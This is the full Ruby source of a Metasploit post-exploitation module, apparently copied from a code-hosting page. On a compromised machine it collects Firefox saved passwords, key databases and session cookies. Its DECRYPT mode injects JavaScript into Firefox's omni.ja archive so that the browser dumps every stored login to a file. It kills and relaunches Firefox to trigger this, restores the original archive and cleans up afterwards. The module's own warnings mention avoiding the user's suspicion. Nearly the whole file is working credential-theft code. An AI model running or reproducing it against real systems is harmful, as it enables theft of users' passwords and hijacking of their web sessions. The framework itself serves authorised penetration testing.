Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/firefox_creds.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45#6# Standard Library7#8require 'tmpdir'910#11# Gems12#13require 'zip'1415#16# Project17#1819class MetasploitModule < Msf::Post20include Msf::Post::File21include Msf::Auxiliary::Report22include Msf::Post::Windows::UserProfiles2324def initialize(info = {})25super(26update_info(27info,28'Name' => 'Multi Gather Firefox Signon Credential Collection',29'Description' => %q{30This module will collect credentials from the Firefox web browser if it is31installed on the targeted machine. Additionally, cookies are downloaded. Which32could potentially yield valid web sessions.3334Firefox stores passwords within the signons.sqlite database file. There is also a35keys3.db file which contains the key for decrypting these passwords. In cases where36a Master Password has not been set, the passwords can easily be decrypted using373rd party tools or by setting the DECRYPT option to true. Using the latter often38needs root privileges. Also be warned that if your session dies in the middle of the39file renaming process, this could leave Firefox in a non working state. If a40Master Password was used the only option would be to bruteforce.4142Useful 3rd party tools:43+ firefox_decrypt (https://github.com/Unode/firefox_decrypt)44+ pswRecovery4Moz (https://github.com/philsmd/pswRecovery4Moz)45},46'License' => MSF_LICENSE,47'Author' => [48'bannedit',49'xard4s', # added decryption support50'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features51],52'Platform' => %w[bsd linux osx unix win],53'SessionTypes' => ['meterpreter', 'shell' ],54'Compat' => {55'Meterpreter' => {56'Commands' => %w[57core_channel_close58core_channel_eof59core_channel_open60core_channel_read61core_channel_tell62core_channel_write63stdapi_fs_stat64stdapi_sys_config_getenv65stdapi_sys_config_getuid66stdapi_sys_process_get_processes67stdapi_sys_process_kill68]69}70}71)72)7374register_options([75OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false])76])7778register_advanced_options([79OptInt.new('DOWNLOAD_TIMEOUT', [true, 'Timeout to wait when downloading files through shell sessions', 20]),80OptBool.new('DISCLAIMER', [false, 'Acknowledge the DECRYPT warning', false]),81OptBool.new('RECOVER', [false, 'Attempt to recover from bad DECRYPT when possible', false])82])83end8485def run86# Certain shells for certain platform87vprint_status('Determining session platform and type')88case session.platform89when 'unix', 'linux', 'bsd'90@platform = :unix91when 'osx'92@platform = :osx93when 'windows'94if session.type != 'meterpreter'95print_error 'Only meterpreter sessions are supported on Windows hosts'96return97end98@platform = :windows99else100print_error("Unsupported platform: #{session.platform}")101return102end103104if datastore['DECRYPT']105do_decrypt106else # Non DECRYPT107paths = enum_users108109if paths.nil? || paths.empty?110print_error('No users found with a Firefox directory')111return112end113114download_loot(paths.flatten)115end116end117118def do_decrypt119unless datastore['DISCLAIMER']120decrypt_disclaimer121return122end123124omnija = nil # non meterpreter download125org_file = 'omni.ja' # key file126new_file = Rex::Text.rand_text_alpha(rand(5..7)) + '.ja'127temp_file = 'orgomni.ja' # backup of key file128129# Sets @paths130return unless decrypt_get_env131132# Check target for the necessary files133if session.type == 'meterpreter'134if session.fs.file.exist?(@paths['ff'] + temp_file) && !session.fs.file.exist?(@paths['ff'] + org_file)135print_error("Detected #{temp_file} without #{org_file}. This is a good sign of previous DECRYPT attack gone wrong.")136return137elsif session.fs.file.exist?(@paths['ff'] + temp_file)138decrypt_file_stats(temp_file, org_file, @paths['ff'])139if datastore['RECOVER']140return unless decrypt_recover_omni(temp_file, org_file)141else142print_warning('If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE.')143return144end145elsif !session.fs.file.exist?(@paths['ff'] + org_file)146print_error("Could not download #{org_file}. File does not exist.")147return148end149end150151session.type == 'meterpreter' ? (size = format('(%s MB)', '%0.2f') % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = '')152tmp = Dir.tmpdir + '/' + new_file # Cross platform local tempdir, "/" should work on Windows too153print_status("Downloading #{@paths['ff'] + org_file} to: #{tmp} %s" % size)154155if session.type == 'meterpreter' # If meterpreter is an option, lets use it!156session.fs.file.download_file(tmp, @paths['ff'] + org_file)157else # Fall back shells158omnija = read_file(@paths['ff'] + org_file)159if omnija.nil? || omnija.empty? || omnija =~ (/No such file/i)160print_error("Could not download: #{@paths['ff'] + org_file}")161print_error("Tip: Try switching to a meterpreter shell if possible (as it's more reliable/stable when downloading)") if session.type != 'meterpreter'162return163end164165print_status("Saving #{org_file} to: #{tmp}")166file_local_write(tmp, omnija)167end168169res = nil170print_status("Injecting into: #{tmp}")171begin172# Automatically commits the changes made to the zip archive when the block terminates173Zip::File.open(tmp) do |zip_file|174res = decrypt_modify_omnija(zip_file)175end176rescue Zip::Error177print_error("Error modifying: #{tmp}")178return179end180181if res182vprint_good("Successfully modified: #{tmp}")183else184print_error('Failed to inject')185return186end187188print_status("Uploading #{tmp} to: #{@paths['ff'] + new_file}")189print_warning('This may take some time...') if %i[unix osx].include?(@platform)190191if session.type == 'meterpreter'192session.fs.file.upload_file(@paths['ff'] + new_file, tmp)193else194unless upload_file(@paths['ff'] + new_file, tmp)195print_error("Could not upload: #{tmp}")196return197end198end199200return unless decrypt_trigger_decrypt(org_file, new_file, temp_file)201202decrypt_download_creds203end204205def decrypt_disclaimer206print_line207print_warning('Decrypting the keys causes the remote Firefox process to be killed.')208print_warning('If the user is paying attention, this could make them suspicious.')209print_warning('In order to proceed, set the advanced option, DISCLAIMER, to TRUE.')210print_line211end212213def decrypt_file_stats(temp_file, org_file, _path)214print_line215print_error("Detected #{temp_file} already on the target. This could possible a possible backup of the original #{org_file} from a bad DECRYPT attack.")216print_status("Size: #{session.fs.file.stat(@paths['ff'] + org_file).size}B (#{org_file})")217print_status("Size: #{session.fs.file.stat(@paths['ff'] + temp_file).size}B (#{temp_file})")218print_status("#{org_file} : Created- #{session.fs.file.stat(@paths['ff'] + org_file).ctime} Modified- #{session.fs.file.stat(@paths['ff'] + org_file).mtime} Accessed- #{session.fs.file.stat(@paths['ff'] + org_file).mtime}")219print_status("#{temp_file}: Created- #{session.fs.file.stat(@paths['ff'] + temp_file).ctime} Modified- #{session.fs.file.stat(@paths['ff'] + temp_file).mtime} Accessed- #{session.fs.file.stat(@paths['ff'] + temp_file).ctime}")220print_line221end222223def decrypt_recover_omni(temp_file, org_file)224print_status("Restoring: #{@paths['ff'] + temp_file} (Possible backup)")225file_rm(@paths['ff'] + org_file)226rename_file(@paths['ff'] + temp_file, @paths['ff'] + org_file)227228if session.type == 'meterpreter'229print_error("There is still #{temp_file} on the target. Something went wrong.") if session.fs.file.exist?(@paths['ff'] + temp_file)230231unless session.fs.file.exist?(@paths['ff'] + org_file)232print_error("#{org_file} is no longer at #{@paths['ff'] + org_file}")233return false234end235end236237true238end239240def enum_users241paths = []242id = whoami243244if id.nil? || id.empty?245print_error("Session #{datastore['SESSION']} is not responding")246return247end248249if @platform == :windows250vprint_status('Searching every possible account on the target system')251grab_user_profiles.each do |user|252next if user['AppData'].nil?253254dir = check_firefox_win(user['AppData'])255paths << dir if dir256end257else # unix, bsd, linux, osx258@platform == :osx ? (home = '/Users/') : (home = '/home/')259260if got_root261vprint_status('Detected ROOT privileges. Searching every account on the target system.')262userdirs = "/root\n"263userdirs << cmd_exec("find #{home} -maxdepth 1 -mindepth 1 -type d 2>/dev/null")264else265vprint_status("Checking #{id}'s Firefox account")266userdirs = "#{home + id}\n"267end268269userdirs.each_line do |dir|270dir.chomp!271next if (dir == '.') || (dir == '..') || dir =~ (/No such file/i)272273@platform == :osx ? (basepath = "#{dir}/Library/Application Support/Firefox/Profiles") : (basepath = "#{dir}/.mozilla/firefox")274275print_status("Checking for Firefox profile in: #{basepath}")276checkpath = cmd_exec('find ' + basepath.gsub(/ /, '\\ ') + ' -maxdepth 1 -mindepth 1 -type d 2>/dev/null')277278checkpath.each_line do |ffpath|279ffpath.chomp!280if ffpath =~ /\.default(?:-release)?$/281vprint_good("Found profile: #{ffpath}")282paths << ffpath.to_s283end284end285end286end287return paths288end289290def check_firefox_win(path)291paths = []292ffpath = []293path += '\\Mozilla\\'294print_status("Checking for Firefox profile in: #{path}")295296stat = begin297session.fs.file.stat(path + 'Firefox\\profiles.ini')298rescue StandardError299nil300end301if !stat302print_error('Firefox was not found (Missing profiles.ini)')303return304end305306session.fs.dir.foreach(path) do |fdir|307# print_status("Found a Firefox directory: #{path + fdir}")308ffpath << path + fdir309break310end311312if ffpath.empty?313print_error('Firefox was not found')314return315end316317# print_status("Locating Firefox profiles")318path << 'Firefox\\Profiles\\'319320# We should only have profiles in the Profiles directory store them all321begin322session.fs.dir.foreach(path) do |pdirs|323next if (pdirs == '.') || (pdirs == '..')324325vprint_good("Found profile: #{path + pdirs}")326paths << path + pdirs327end328rescue StandardError329print_error('Profiles directory is missing')330return331end332333paths.empty? ? nil : paths334end335336def download_loot(paths)337loot = ''338print_line339340paths.each do |path|341print_status("Profile: #{path}")342343# win: C:\Users\administrator\AppData\Roaming\Mozilla\Firefox\Profiles\tsnwjx4g.default344# linux: /root/.mozilla/firefox/tsnwjx4g.default (iceweasel)345# osx: /Users/mbp/Library/Application Support/Firefox/Profiles/tsnwjx4g.default346profile = path.scan(%r{Profiles[\\|/](.+)\.(.+)$}).flatten[0].to_s347profile = path.scan(%r{firefox[\\|/](.+)\.(.+)$}).flatten[0].to_s if profile.empty?348349session.type == 'meterpreter' ? (files = session.fs.dir.foreach(path)) : (files = cmd_exec('find ' + path.gsub(/ /, '\\ ') + ' -maxdepth 1 -mindepth 1 -type f 2>/dev/null').gsub(%r{.*/}, '').split("\n"))350351files.each do |file|352file.chomp!353next unless file =~ (/^key\d\.db$/) || file =~ (/^cert\d\.db$/) || file =~ (/^signons.sqlite$/i) || file =~ (/^cookies\.sqlite$/) || file =~ (/^logins\.json$/)354355ext = file.split('.')[2]356ext == 'txt' ? (mime = 'plain') : (mime = 'binary')357vprint_status("Downloading: #{file}")358if @platform == :windows359p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, "firefox_#{file}")360session.fs.file.download_file(p, path + '\\' + file)361print_good("Downloaded #{file}: #{p}")362else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)363loot = cmd_exec("cat #{path}//#{file}", nil, datastore['DOWNLOAD_TIMEOUT'])364if loot.nil? || loot.empty?365print_error("Failed to download #{file}, if the file is very long, try increasing DOWNLOAD_TIMEOUT")366else367p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}")368print_good("Downloaded #{file}: #{p}")369end370end371end372print_line373end374end375376# Checks for needed privileges and if Firefox is installed377def decrypt_get_env378@paths = {}379check_paths = []380loot_file = Rex::Text.rand_text_alpha(6) + '.txt'381382case @platform383when :windows384version = get_version_info385unless got_root || version.xp_or_2003?386print_warning('You may need SYSTEM privileges on this platform for the DECRYPT option to work')387end388389env_vars = session.sys.config.getenvs('TEMP', 'SystemDrive')390tmpdir = env_vars['TEMP'] + '\\'391drive = env_vars['SystemDrive']392393# This way allows for more independent use of meterpreter payload (32 and 64 bit) and cleaner code394check_paths << drive + '\\Program Files\\Mozilla Firefox\\'395check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\'396when :unix397unless got_root398print_error('You need ROOT privileges on this platform for DECRYPT option')399return false400end401# Unix matches linux|unix|bsd but BSD is not supported402if session.platform =~ /bsd/403print_error('Sorry, BSD is not supported by the DECRYPT option')404return false405end406407tmpdir = '/tmp/'408409check_paths << '/usr/lib/firefox/'410check_paths << '/usr/lib64/firefox/'411check_paths << '/usr/lib/iceweasel/'412check_paths << '/usr/lib64/iceweasel/'413when :osx414tmpdir = '/tmp/'415check_paths << '/applications/firefox.app/contents/macos/'416end417418@paths['ff'] = check_paths.find do |p|419check = p.sub(%r{(\\|/)(mozilla\s)?firefox.*}i, '')420vprint_status("Checking for Firefox directory in: #{check}")421if directory?(p.sub(%r{(\\|/)$}, ''))422print_good("Found Firefox directory: #{check}")423true424else425false426end427end428429if @paths['ff'].nil?430print_error('No Firefox directory found')431return false432end433434@paths['loot'] = tmpdir + loot_file435436true437end438439def decrypt_modify_omnija(zip)440# Which files to extract from ja/zip441files = [442'components/storage-mozStorage.js', # stor_js443'chrome/toolkit/content/passwordmgr/passwordManager.xul', # pwd_xul444'chrome/toolkit/content/global/commonDialog.xul', # dlog_xul445'jsloader/resource/gre/components/storage-mozStorage.js' # res_js (not 100% sure why this is used)446]447448# Extract files from zip449arya = files.map do |omnija_file|450fdata = {}451begin452fdata['content'] = zip.read(omnija_file) unless omnija_file =~ /jsloader/453fdata['outs'] = zip.get_output_stream(omnija_file)454rescue StandardError455print_error("Was not able to find '#{omnija_file}' in the compressed .JA file")456print_error('This could be due to a corrupt download or a unsupported Firefox/Iceweasel version')457return false458end459fdata460end461462# Read contents of array (arya)463stor_js, pwd_xul, dlog_xul, res_js = arya464stor_js['outs_res'] = res_js['outs']465466# Insert payload (close after starting up - allowing evil js to run and nothing else)467wnd_close = 'window.close();'468onload = "Startup(); SignonsStartup(); #{wnd_close}"469470# Patch commonDialog.xul - Get rid of (possible) master password prompt471dlog_xul['content'].sub!(/commonDialogOnLoad\(\);/, wnd_close)472dlog_xul['outs'].write(dlog_xul['content'])473dlog_xul['outs'].close474vprint_good('[1/2] XUL injected - commonDialog.xul')475476# Patch passwordManager.xul - Close password manager immediately477pwd_xul['content'].sub!(/Startup\(\); SignonsStartup\(\);/, onload)478pwd_xul['outs'].write(pwd_xul['content'])479pwd_xul['outs'].close480vprint_good('[2/2] XUL injected - passwordManager.xul')481482# Patch ./components/storage-mozStorage.js - returns true or false483return decrypt_patch_method(stor_js)484end485486# Patches getAllLogins() methods in ./components/storage-mozStorage.js487def decrypt_patch_method(stor_js)488data = ''489# Imports needed for IO490imports = %|Components.utils.import("resource://gre/modules/NetUtil.jsm");491Components.utils.import("resource://gre/modules/FileUtils.jsm");492Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");493|494495# Javascript code to intercept the logins array and write the credentials to a file496method_epilog = %|497var data = "";498var path = "#{@paths['loot'].inspect.gsub(/"/, '')}";499var file = new FileUtils.File(path);500501var outstream = FileUtils.openSafeFileOutputStream(file);502var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"].503createInstance(Components.interfaces.nsIScriptableUnicodeConverter);504converter.charset = "UTF-8";505506if (logins.length != 0) {507for (var i = 0; i < logins.length; i++) {508data += logins[i].hostname + " :: " + logins[i].username + " :: " + logins[i].password + " ^";509}510} else {511data = "no creds";512}513514var istream = converter.convertToInputStream(data);515NetUtil.asyncCopy(istream, outstream);516517return logins;518|519520regex = [521nil, # dirty hack alert522[/return\slogins;/, method_epilog],523[%r{Components\.utils\.import\("resource://gre/modules/XPCOMUtils\.jsm"\);}, imports]524]525526# Match the last two regular expressions527i = 2 # ...this is todo with the nil in the above regex array & regex command below528x = i529stor_js['content'].each_line do |line|530# There is no real substitution if the matching regex has no corresponding patch code531if i != 0 && line.sub!(regex[i][0]) do |_match|532if regex[i][1]533vprint_good("[#{x - i + 1}/#{x}] Javascript injected - ./components/storage-mozStorage.js")534regex[i][1]535end536end537i -= 1538end539data << line540end541542# Write the same data to both output streams543stor_js['outs'].write(data)544stor_js['outs_res'].write(data)545stor_js['outs'].close546stor_js['outs_res'].close547548i == 0549end550551# Starts a new Firefox process and triggers decryption552def decrypt_trigger_decrypt(org_file, new_file, temp_file)553[org_file, new_file, temp_file].each do |f|554f.insert(0, @paths['ff'])555end556557# Firefox command line arguments558args = '-purgecaches -chrome chrome://passwordmgr/content/passwordManager.xul'559560# In case of unix-like platform Firefox needs to start under user context561case @platform562when :unix563# Assuming userdir /home/(x) = user564print_status('Enumerating users')565homedirs = cmd_exec('find /home -maxdepth 1 -mindepth 1 -type d 2>/dev/null').gsub(%r{.*/}, '')566if homedirs.nil? || homedirs.empty?567print_error('No normal user found')568return false569end570user = nil571# Skip home directories which contain a space, as those are likely not usernames...572homedirs.each_line do |homedir|573user = homedir.chomp574break unless user.index(' ')575end576577# Since we can't access the display environment variable we have to assume the default value578args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ")579args << '"'580cmd = "su #{user} -c"581when :windows, :osx582cmd = @paths['ff'] + 'firefox'583# On OSX, run in background584args << '& sleep 5 && killall firefox' if @platform == :osx585end586587# Check if Firefox is running and kill it588if session.type == 'meterpreter'589session.sys.process.each_process do |p|590next unless p['name'] =~ /firefox\.exe/591592print_status('Found running Firefox process, attempting to kill.')593unless session.sys.process.kill(p['pid'])594print_error('Could not kill Firefox process')595return false596end597end598else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)599p = cmd_exec('ps', 'cax | grep firefox')600if p =~ /firefox/601print_status('Found running Firefox process, attempting to kill.')602term = cmd_exec('killall', 'firefox && echo true')603if term !~ /true/604print_error('Could not kill Firefox process')605return false606end607end608end609sleep(1)610611#612# Rename-fu:613# omni.ja (original) -> orgomni.ja (original_backup)614# *random*.ja (evil) -> omni.ja (original)615# ...start & close Firefox...616# omni.ja (evil) -> *random*.ja (pointless temp file)617# orgomni.ja (original_backup) -> omni.ja (original)618#619vprint_status('Renaming .JA files')620rename_file(org_file, temp_file)621rename_file(new_file, org_file)622623# Automatic termination (window.close() - injected XUL or firefox cmd arguments)624print_status("Starting Firefox process to get #{whoami}'s credentials")625cmd_exec(cmd, args)626sleep(1)627628# Lets just check theres something before going forward629if session.type == 'meterpreter'630i = 20631vprint_status("Waiting up to #{i} seconds for loot file (#{@paths['loot']}) to be generated") unless session.fs.file.exist?(@paths['loot'])632until session.fs.file.exist?(@paths['loot'])633sleep 1634i -= 1635break if i == 0636end637print_error('Missing loot file. Something went wrong.') unless session.fs.file.exist?(@paths['loot'])638end639640print_status("Restoring original .JA: #{temp_file}")641rename_file(org_file, new_file)642rename_file(temp_file, org_file)643644# Clean up645vprint_status("Cleaning up: #{new_file}")646file_rm(new_file)647if session.type == 'meterpreter'648if session.fs.file.exist?(temp_file)649print_error("Detected backup file (#{temp_file}) still on the target. Something went wrong.")650end651unless session.fs.file.exist?(org_file)652print_error("Unable to find #{org_file} on target. Something went wrong.")653end654end655656# At this time, there should have a loot file657if session.type == 'meterpreter' && !session.fs.file.exist?(@paths['loot'])658print_error('DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version.')659# Another issue is encoding. The files may be seen as 'data' rather than 'ascii'660print_error('Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading)') if session.type != 'meterpreter'661return false662end663664true665end666667def decrypt_download_creds668print_good("Downloading loot: #{@paths['loot']}")669loot = read_file(@paths['loot'])670671if loot =~ /no creds/672print_status('No Firefox credentials where found')673return674end675676# Better delete the remote creds file677vprint_status("Cleaning up: #{@paths['loot']}")678file_rm(@paths['loot'])679680# Create table to store681cred_table = Rex::Text::Table.new(682'Header' => 'Firefox Credentials',683'Indent' => 1,684'Columns' =>685[686'Hostname',687'User',688'Password'689]690)691692creds = loot.split('^')693creds.each do |cred|694hostname, user, pass = cred.rstrip.split(' :: ')695cred_table << [hostname, user, pass]696697# Creds API698service_data = {699workspace_id: myworkspace_id700}701702credential_data = {703origin_type: :session,704session_id: session_db_id,705post_reference_name: refname,706smodule_fullname: fullname,707username: user,708private_data: pass,709private_type: :password710}.merge(service_data)711712create_credential(credential_data)713end714715# Create local loot csv file716path = store_loot(717'firefox.creds',718'text/plain',719session,720cred_table.to_csv,721'firefox_credentials.txt',722'Firefox Credentials'723)724vprint_good("Saved loot: #{path}")725726# Display out727vprint_line("\n" + cred_table.to_s)728end729730def got_root731case @platform732when :windows733session.sys.config.getuid =~ /SYSTEM/ ? true : false734else # unix, bsd, linux, osx735id_output = cmd_exec('id').chomp736if id_output.blank?737# try an absolute path738id_output = cmd_exec('/usr/bin/id').chomp739end740id_output.include?('uid=0(') ? true : false741end742end743744def whoami745if @platform == :windows746id = session.sys.config.getenv('USERNAME')747else748id = cmd_exec('id -un')749end750751id752end753end754755756